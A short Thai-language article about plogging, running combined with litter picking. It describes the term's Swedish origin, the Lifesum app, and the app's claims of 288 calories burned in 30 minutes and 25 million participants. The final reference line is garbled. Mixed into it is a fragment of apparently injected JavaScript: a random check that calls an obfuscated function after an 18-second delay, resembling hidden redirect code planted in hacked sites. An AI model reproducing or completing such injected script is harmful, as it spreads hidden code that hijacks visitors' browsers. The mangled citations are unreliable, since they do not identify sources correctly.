จะดีแค่ไหน ถ้าการวิ่งของคุณนอกจากจะช่วยให้สุขภาพร่างกายแข็งแรงแล้วยังเป็นการช่วยทำประโยชน์ให้กับธรรมชาติ สังคมและชุมชนของคุณด้วย ตอนนี้ได้เกิดคำศัพท์ขึ้นมาใหม่ในวงการวิ่งPlogging ที่จะทำให้เราวิ่งแล้วได้สุขภาพและได้ประโยชน์ต่อส่วนรวม
Plogging = Jogging + Plocka upp
พล็อกกิ้งคือการวิ่งที่ผสมการเดินเก็บขยะไปด้วยในตัว เป็นคำผสมของภาษาอังกฤษและภาษาสวีเดน ที่มาจากคำว่า Jogging และ Plocka upp ที่หมายความว่า pick up
เทรนการวิ่งพล็อกกิ้งเกิดขึ้นในประเทศสวีเดนโดยเป็นกิจกรรมที่เราสามารถใช้แอพ Lifesum ประกอบการจดบันทึกข้อมูลการปฏิบัติกิจกรรมของเรา ตอนนี้เป็นกิจกรรมที่ได้รับความนิยมทั่วประเทศเขตสแกนดิเนเวีย เป็นประสบการณ์รูปแบบใหม่ที่ให้ความให้ความสนุกและได้บำเพ็ญประโยชน์แก่ส่วนรวม นักวิ่งสามารถทำได้ไม่ยากแค่มีถุงพลาสติกเก็บขยะ 1 ถุง เท่านี้ก็ออกไปวิ่งได้เลย
แบบฉบับการทำพล็อกกิ้งคือเป็นการวิ่งที่ผสมการทำ Squat และ Lunge (ขณะเก็บขยะ) การวิ่งพล็อกกิ้งจึงทำให้ร่างกายเบิร์นแคลอรี่ได้มากขึ้นมากกว่าการวิ่งธรรมดา ตามสถิติแอพ Lifesum พบว่านักวิ่งสามารถเผาผลาญไขมันได้ถึง 288 cal ภายใน 30 นาที และขณะเดียวกันก็ช่วยทำความสะอาดสถานที่ด้วย
นักวิ่งคนไหนที่สนใจกิจกรรมการวิ่งแบบพล็อกกิ้งเพิ่มเติมและอยากจะเป็น พล็อกเกอร์ (Plogger) สามารถค้นหารูปได้ด้วยการพิมพ์ #plogging บน IG และ Facebook นอกจากนนี้แอพLifesumสัญชาติสวีเดนเจ้าของกิจกรรมนี้ ได้เคลมว่ามีผู้ร่วมทำกิจกรรม พล็อกกิ้ง ถึง 25 ล้านคนที่เดียว (23 ก.พ. 2018)
อ้างอิงandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-1-4682007″>www.scotsman.commashable.com
